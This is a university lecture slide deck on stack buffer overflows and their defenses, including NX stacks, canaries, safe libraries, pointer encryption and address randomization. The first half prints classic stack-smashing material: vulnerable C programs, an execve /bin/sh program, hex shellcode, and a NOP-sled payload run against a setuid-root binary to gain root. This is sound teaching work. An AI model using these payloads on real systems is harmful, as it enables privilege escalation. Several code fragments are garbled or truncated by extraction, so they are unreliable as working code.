Security: Buffer Overflows and Defenses

CS 416: Operating Systems Design
Department of Computer Science
Rutgers University
http://www.cs.rutgers.edu/~vinodg/416
Buffer Overflow

a very common attack mechanism

from 1988 Morris Worm to Code Red, Slammer, Sasser and many others

prevention techniques known

still of major concern due to

legacy of widely deployed buggy

continued careless programming techniques
Buffer Overflow Basics

cau sed by programming error
allows more data to be stored than capacity available in a fixed sized buffer

buffer can be on stack, heap, global data

overwriting adjacent memory locations

corruption of program data
unexpected transfer of control
memory access violation
execution of code chosen by attacker
Buffer overflow example

```c
int foo(void)
{
    char buf[10];
    ...
    strcpy(buf, "hello world");
}

int get_user_input(void)
{
    char buf[LEN];
    ...
    gets(buf);
}
```
Buffer Overflow Example

```c
int main(int argc, char *argv[]) {
    int valid = FALSE;
    char str1[8];
    char str2[8];

    next_tag(str1);
    gets(str2);
    if (strncmp(str1, str2, 8) == 0)
        valid = TRUE;
    printf("buffer1: str1(%s), str2(%s), valid(%d)\n", str1, str2, valid);
}
```

$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE),
str2(EVILINPUTVALUE), valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
str2(BADINPUTBADINPUT), valid(1)
Buffer Overflow Attacks

to exploit a buffer overflow an attacker

must identify a buffer overflow vulnerability in some program inspection, tracing execution, fuzzing tools

understand how buffer is stored in memory and determine potential for corruption
Why are they dangerous?

Can trash memory, crashing the program

Can be used to hijack the program.
  
  Spawn a shell or execute code with the privileges of the program

``setuid root’’ programs are particularly dangerous if exploited.
A Little Programming Language History

at machine level all data an array of bytes
  interpretation depends on instructions used
modern high-level languages have a strong notion of type and valid operations
  not vulnerable to buffer overflows
  does incur overhead, some limits on use
C and related languages have high-level control structures, but allow direct access to memory
  hence are vulnerable to buffer overflow
  have a large legacy of widely used, unsafe, and hence vulnerable code
Programs and Processes
Process memory layout

High addresses

Stack

Heap

Globals

Low addresses

Text

Pointers
Function Calls and Stack Frames

Diagram showing a stack frame with:
- Return Addr
- Old Frame Pointer
- param 2
- param 1
- Return Addr in P
- Old Frame Pointer
- local 1
- local 2

Arrows indicating Frame Pointer and Stack Pointer.
The stack

```c
void function(int a, int b, int c){
    char buf1[5];
    char buf2[10];
    ...
}

void main() {
    function(1, 2, 3);
}
```
The stack

```c
void main() {
    function(1, 2, 3);
}
```

```
pushl $3
pushl $2
pushl $1
call function

pushl $3
pushl $2
pushl $1
call function
```
A function call

```c
void main() {
    function(1, 2, 3);
}
```

```
pushl $3
pushl $2
pushl $1
call function
```

```
pushl %ebp
movl %esp, %ebp
subl $20, %esp
```
Digression: x86 tutorial

```
pushl %ebp: Pushes ebp onto the stack.

movl %esp,%ebp: Moves the current value of esp to the register ebp.

subl $0x4,%esp: Subtract 4 (hex) from value of esp

call 0x8000470 <function>: Calls the function at address 0x8000470. Also pushes the return address onto the stack.

movl $0x1,0xffffffff(%ebp): Move 0x1 into the memory pointed to by ebp - 4

leal 0xffffffff(%ebp),%eax: Load address of the memory location pointed to by ebp -4 into eax

ret: Return. Jumps to return address saved on stack.
nop
```
Stack Buffer Overflow

occurs when buffer is located on stack
  used by Morris Worm
  “Smashing the Stack” paper popularized it
have local variables below saved frame pointer and return address
  hence overflow of a local buffer can potentially overwrite these key control items
attacker overwrites return address with address of desired code
  program, system library or loaded in buffer
A benign buffer overflow

```c
tvoid function(char *str){
    char buffer[16];
    strcpy (buffer, str);
}

tvoid main() {
    char largestr[256];
    int i;

    for (i=0; i<255; i++) {
        largestr[i] = 'A'
    }
    function(largestr);
}
```

This program causes a segfault. Why?
Stack Overflow Example

```c
void hello(char *tag)
{
    char inp[16];

    printf("Enter value for %s: ", tag);
    gets(inp);
    printf("Hello your %s is %s\n", tag, inp);
}
```

```
$ cc -g -o buffer2 buffer2.c
$ ./buffer2
Enter value for name: Bill and Lawrie
Hello your name is Bill and Lawrie
buffer2 done

$ ./buffer2
Enter value for name:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Segmentation fault (core dumped)

$ perl -e 'print pack("H*", "412434445464748515253545556575856162636465666768
08fcffbf948304080a4e4e4e0a");' | ./buffer2
Enter value for name:
Hello your Re?ppy]uEA is ABCDEFGHQRSTUVWXabcdefguyu
Enter value for Kyyu:
Hello your Kyyu is NNNN
Segmentation fault (core dumped)
```
```c
void getinp(char *inp, int siz)
{
    puts("Input value: ");
    fgets(inp, siz, stdin);
    printf("buffer3 getinp read %s\n", inp);
}

void display(char *val)
{
    char tmp[16];
    sprintf(tmp, "read val: %s\n", val);
    puts(tmp);
}

int main(int argc, char *argv[])
{
    char buf[16];
    getinp(buf, sizeof(buf));
    display(buf);
    printf("buffer3 done\n");
}
```
Another Stack Overflow

$ cc -o buffer3 buffer3.c

$ ./buffer3
Input value:
SAFE
buffer3 getinp read SAFE
read val: SAFE
buffer3 done

$ ./buffer3
Input value:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
buffer3 getinp read XXXXXXXXXXX
read val: XXXXXXXXXXXXXX

buffer3 done
Segmentation fault (core dumped)
Subverting control flow

```c
void function(char *str){
    char buf1[5]; char buf2[10];
    int *ret;
    ret = buf1 + 12;
    *ret += 8;
}

void main() {
    int x;
    x = 0;
    function(1, 2, 3);
    x = 1;
    printf ("%d\n", x);
}
```
Code of “main”

```
0x8000490 <main>:    pushl %ebp
0x8000491 <main+1>:  movl %esp,%ebp
0x8000493 <main+3>:  subl $0x4,%esp
0x8000496 <main+6>:  movl $0x0,0xfffffffffc(%ebp)
0x800049d <main+13>: pushl $0x3
0x800049f <main+15>: pushl $0x2
0x80004a1 <main+17>: pushl $0x1
0x80004a3 <main+19>: call 0x8000470 <function>
0x80004a8 <main+24>: addl $0xc,%esp
0x80004ab <main+27>: movl $0x1,0xfffffffffc(%ebp)
0x80004b2 <main+34>: movl 0xfffffffffc(%ebp),%eax
0x80004b5 <main+37>: pushl %eax
0x80004b6 <main+38>: pushl $0x80004f8
0x80004bb <main+43>: call 0x8000378 <printf>
0x80004c0 <main+48>: addl $0x8,%esp
0x80004c3 <main+51>: movl %ebp,%esp
0x80004c5 <main+53>: popl %ebp
0x80004c6 <main+54>: ret
0x80004c7 <main+55>: nop
```
Writing an exploit program

```c
#include <stdio.h>
void main() {
    char *name[2];

    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```
<table>
<thead>
<tr>
<th>Address</th>
<th>Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x8000130</td>
<td><code>pushl %ebp</code></td>
</tr>
<tr>
<td>0x8000131</td>
<td><code>movl %esp,%ebp</code></td>
</tr>
<tr>
<td>0x8000133</td>
<td><code>subl $0x8,%esp</code></td>
</tr>
<tr>
<td>0x8000136</td>
<td><code>movl $0x80027b8,0xfffffffff8(%ebp)</code></td>
</tr>
<tr>
<td>0x800013d</td>
<td><code>movl $0x0,0xfffffffc(%ebp)</code></td>
</tr>
<tr>
<td>0x8000144</td>
<td><code>pushl $0x0</code></td>
</tr>
<tr>
<td>0x8000146</td>
<td><code>leal 0xffffffff8(%ebp),%eax</code></td>
</tr>
<tr>
<td>0x8000149</td>
<td><code>pushl %eax</code></td>
</tr>
<tr>
<td>0x800014a</td>
<td><code>movl 0xffffffff8(%ebp),%eax</code></td>
</tr>
<tr>
<td>0x800014d</td>
<td><code>pushl %eax</code></td>
</tr>
<tr>
<td>0x800014e</td>
<td><code>call 0x80002bc &lt;__execve&gt;</code></td>
</tr>
<tr>
<td>0x8000153</td>
<td><code>addl $0xc,%esp</code></td>
</tr>
<tr>
<td>0x8000156</td>
<td><code>movl %ebp,%esp</code></td>
</tr>
<tr>
<td>0x8000158</td>
<td><code>popl %ebp</code></td>
</tr>
<tr>
<td>0x8000159</td>
<td><code>ret</code></td>
</tr>
</tbody>
</table>
0x80002bc  __execve__: pushl %ebp
0x80002bd  __execve+1__: movl %esp,%ebp
0x80002bf  __execve+3__: pushl %ebx
0x80002c0  __execve+4__: movl $0xb,%eax
0x80002c5  __execve+9__: movl 0x8(%ebp),%ebx
0x80002c8  __execve+12__: movl 0xc(%ebp),%ecx
0x80002cb  __execve+15__: movl 0x10(%ebp),%edx
0x80002ce  __execve+18__: int $0x80
0x80002d0  __execve+20__: movl %eax,%edx
0x80002d2  __execve+22__: testl %edx,%edx
0x80002d6  __execve+26__: negl %edx
0x80002d8  __execve+28__: pushl %edx
0x80002de  __execve+34__: popl %edx
0x80002df  __execve+35__: movl %edx,(%eax)
0x80002e1  __execve+37__: movl $0xffffffff,%eax
0x80002e6  __execve+42__: popl %ebx
0x80002e7  __execve+43__: movl %ebp,%esp
0x80002e9  __execve+45__: popl %ebp
0x80002ea  __execve+46__: ret
0x80002eb  __execve+47__: nop
Basic requirements.

Have null terminated “/bin/sh” in memory

Have address of this string in memory followed by null long word

Copy 0xb into eax

Copy address of string into ebx

Copy address of string into ecx

Copy address of null long word into edx

Execute int $0x80 (system call)
Attack payload.

```assembly
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
```

Where in the memory space of the process will this be placed? Use relative addressing!
Attack payload.

```assembly
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
```
Hex representation of code.

```c
char shellcode[] = 
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\x00\x00\x00\xd1\xff\xff\xff\xff\x2f\x62\x69\x2e\x2f\x73\x68\x00\x89\jec\x5d\xc3";

void main() {
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}
```

Use gdb to create this!
Zeroes in attack payload

```
movb $0x0, 0x7(%esi)
movl $0x0, 0xc(%esi)
xorl %eax, %eax
movb %eax, 0x7(%esi)
movl %eax, 0xc(%esi)

movl $0xb, %eax
movb $0xb, %al

movl $0x1, %eax
movl $0x0, %ebx
xorl %ebx, %ebx
movl %ebx, %eax
inc %eax
```
A stack smashing attack

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\n
xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\x8d\x40\xcd\x80\xe8\x8e\xcd\xff\xff\xff/bin/sh";

char large_string[128];
void main() {
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;
    for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;
    for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];
    strcpy(buffer,large_string);
}
Example Shellcode

```assembly
nop
nop                      // end of nop sled
jmp     find              // jump to end of code
cont:   pop    %esi      // pop address of sh off stack into %esi
xor     %eax,%eax        // zero contents of EAX
mov     %al,0x7(%esi)     // copy zero byte to end of string sh (%esi)
lea     (%esi),%ebx       // load address of sh (%esi) into %ebx
mov     %ebx,0x8(%esi)    // save address of sh in args[0] (%esi+8)
mov     %eax,0xc(%esi)    // copy zero to args[1] (%esi+c)
mov     $0xb,%al          // copy execve syscall number (11) to AL
mov     %esi,%ebx         // copy address of sh (%esi) t0 %ebx
lea     0x8(%esi),%ecx    // copy address of args (%esi+8) to %ecx
lea     0xc(%esi),%edx    // copy address of args[1] (%esi+c) to %edx
int     $0x80              // software interrupt to execute syscall
find:   call    cont     // call cont which saves next address on stack
sh:     .string  "/bin/sh "       // string constant
args:   .long  0          // space used for args array
        .long  0          // args[1] and also NULL for env array
```

90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89
46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1
ff ff ff 2f 62 69 6e 2f 73 68 20 20 20 20 20 20
Example Stack Overflow Attack

$ dir -l buffer4
-rwsr-xr-x 1 root knoppix 16571 Jul 17 10:49 buffer4

$ whoami
knoppix

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

$ cat attack1
perl -e 'print pack("H*",
"90909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909
Preventing Buffer Overflows

Use safe programming languages, e.g., Java

What about legacy C code?

Black-box testing with long strings

Mark stack as non-executable

Randomize stack location or encrypt return address on stack by XORing with random string

Attacker won’t know what address to use in his string

Run-time checking of array and buffer bounds

StackGuard, libsafe, many other tools

Static analysis of source code to find overflows
Non-Executable Stack

NX bit on every Page Table Entry

AMD Athlon 64, Intel P4 “Prescott”, but not 32-bit x86

Code patches marking stack segment as non-executable exist for Linux, Solaris, OpenBSD

Some applications need executable stack

For example, LISP interpreters

Does not defend against return-to-libc exploits

Overwrite return address with the address of an existing library function (can still be harmful)

…nor against heap and function pointer overflows
Embed “canaries” in stack frames and verify their integrity prior to function return

Any overflow of local variables will damage the canary

Choose random canary string on program start

Attacker can’t guess what the value of canary will be

Terminator canary: “\0”, newline, linefeed, EOF

String functions like strcpy won’t copy beyond “\0”
Canary Implementation

Requires code recompilation

Checking canary integrity prior to every function return causes a performance penalty

For example, 8% for Apache Web server

This defense can be defeated!

Phrack article by Bulba and Kil3r
Protecting more than just return addresses

Rearrange stack layout to prevent pointer overflow

Stack growth

String growth

No arrays or pointers

Cannot overwrite any pointers by overflowing an array

Ptrs, but no arrays

 Rutger University  CS 416: Operating Systems
Run-Time Checking: Safe libraries

Dynamically loaded library

Intercepts calls to \texttt{strcpy(dest,src)}

Checks if there is sufficient space in current stack frame

\[ |\text{frame-pointer} - \text{dest}| > \text{strlen(src)} \]

If yes, does strcpy; else terminates application
Purify

Instruments all memory accesses

Works on relocatable object code

Links to modified malloc() that supports tracking tables

Inserts special instructions before each load and store instruction

Detects all runtime memory errors and memory leaks

Violation of array bounds, use of uninitialized variables

Mainly a debugging tool

Severe performance penalty (3-5 times slowdown)
Encrypting pointers in memory

Attack: overflow a function pointer so that it points to attack code

Idea: encrypt all pointers while in memory

- Generate a random key when program is executed
- Each pointer is XORed with this key when loaded from memory to registers or stored back into memory

Pointers cannot be overflown while in registers

Attacker cannot predict the target program’s key

- Even if pointer is overwritten, after XORing with key it will dereference to a “random” memory address
Normal Pointer Dereference

1. Fetch pointer value
2. Access data referenced by pointer

Memory

CPU

1. Fetch pointer value
2. Access attack code referenced by corrupted pointer

Memory

CPU

Rutgers University
CS 416: Operating Systems
Dereference with encrypted pointers

Memory

1. Fetch pointer value
2. Access data referenced by pointer

CPU

0x1234

Encrypted pointer

0x7239

Data

0x1234

Decrypt

0x1234

0x1340

Memory

1. Fetch pointer value
2. Access random address; segmentation fault and crash

CPU

0x9786

Decrypts to random value

0x9786

Corrupted pointer

0x7239

0x1340

Data

0x1234

Attack code

0x1340

0x9786
Issues with encrypted pointers

Must be very fast

Pointer dereferences are very common

Compiler issues

Must encrypt and decrypt only pointers

If compiler “spills” registers, unencrypted pointer values end up in memory and can be overwritten there

Attacker should not be able to modify the key

Store key in its own non-writable memory page

PG’d code doesn’t mix well with normal code

What if PG’d code needs to pass a pointer to OS kernel?
Dynamic Analysis

Check for buffer overflows at runtime

Advantage: actual size of memory objects available

There are many techniques, but most require modified pointer representation

To better keep track of where each pointer is pointing

Jones and Kelly (1997): referent objects

Referent object = buffer to which the pointer points

Result of pointer arithmetic must point to same object

Idea: keep track of beginning and size of each object to determine whether a given pointer is “in bounds”

Does not require modification of pointer representation
Jones-Kelly Approach

Pad each object by 1 byte

C permits a pointer to point to the byte right after an allocated memory object

Maintain a runtime table of allocated objects

Replace all out-of-bounds addresses with special ILLEGAL value at runtime

Program crashes if pointer to ILLEGAL dereferenced
Introducing Artificial Code Diversity

Buffer overflow and return-to-libc exploits need to know the (virtual) address to which pass control

Address of attack code in the buffer
Address of a standard kernel library routine

Same address is used on many machines

Slammer infected 75,000 MS-SQL servers using same code on every machine

Idea: introduce artificial diversity

Make stack addresses, addresses of library routines, etc. unpredictable and different from machine to machine
Address Space Randomization

Randomly choose base address of stack, heap, code segment
Randomly pad stack frames and malloc() calls
Randomize location of Global Offset Table
Randomization can be done at compile- or link-time, or by rewriting existing binaries

Threat: attack repeatedly probes randomized binary

Several implementations available
PaX

Linux kernel patch

Goal: prevent execution of arbitrary code in an existing process’s memory space

Enable executable/non-executable memory pages

Any section not marked as executable in ELF binary is non-executable by default

- Stack, heap, anonymous memory regions

Access control in mmap(), mprotect() prevents changes to protection state during execution

Randomize address space
Non-Executable Pages in PaX

In x86, pages cannot be directly marked as non-executable.

PaX marks each page as “non-present” or “supervisor level access”.

This raises a page fault on every access.

Page fault handler determines if the page fault occurred on a data access or instruction fetch.

Instruction fetch: log and terminate process.

Data access: unprotect temporarily and continue.
Base-Address Randomization

Note that only base address is randomized

Layouts of stack and library table remain the same

Relative distances between memory objects are not changed by base address randomization

To attack, it’s enough to guess the base shift

A 16-bit value can be guessed by brute force

Try \(2^{15}\) (on average) different overflows with different values for the address of a known library function

Was broken in 2004 by a team from Stanford.
Ideas for Better Randomization

64-bit addresses

At least 40 bits available for randomization

Memory pages are usually between 4K and 4M in size

Brute-force attack on 40 bits is not feasible
Ideas for Better Randomization

Randomly re-order entry points of library functions

Finding address of one function is no longer enough to compute addresses of other functions

What if attacker finds address of system()?

... at compile-time

No virtual mem constraints (can use more randomness)

What are the disadvantages??

... or at run-time

How are library functions shared among processes?

How does normal code find library functions?
More of this kind of stuff in CS419 (Spring’10)